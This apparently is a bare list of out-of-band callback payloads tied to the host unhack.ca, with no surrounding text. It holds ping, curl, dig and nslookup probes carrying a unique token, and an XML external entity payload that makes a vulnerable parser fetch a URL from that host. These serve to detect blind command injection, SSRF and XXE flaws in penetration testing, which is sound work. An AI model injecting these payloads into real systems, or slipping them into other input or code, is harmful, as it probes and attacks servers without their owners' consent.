$ ping -c1 -p 00e231f70f8b083f7d563e72794a0400 unhack.ca
$ curl http://unhack.ca/p/e231f70f8b083f7d563e72794a04
$ dig e231f70f8b083f7d563e72794a04 @unhack.ca
$ dig e231f70f8b083f7d563e72794a04.ns.unhack.ca
C:\> nslookup e231f70f8b083f7d563e72794a04 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/e231f70f8b083f7d563e72794a04">]> <foo>&xxe;</foo>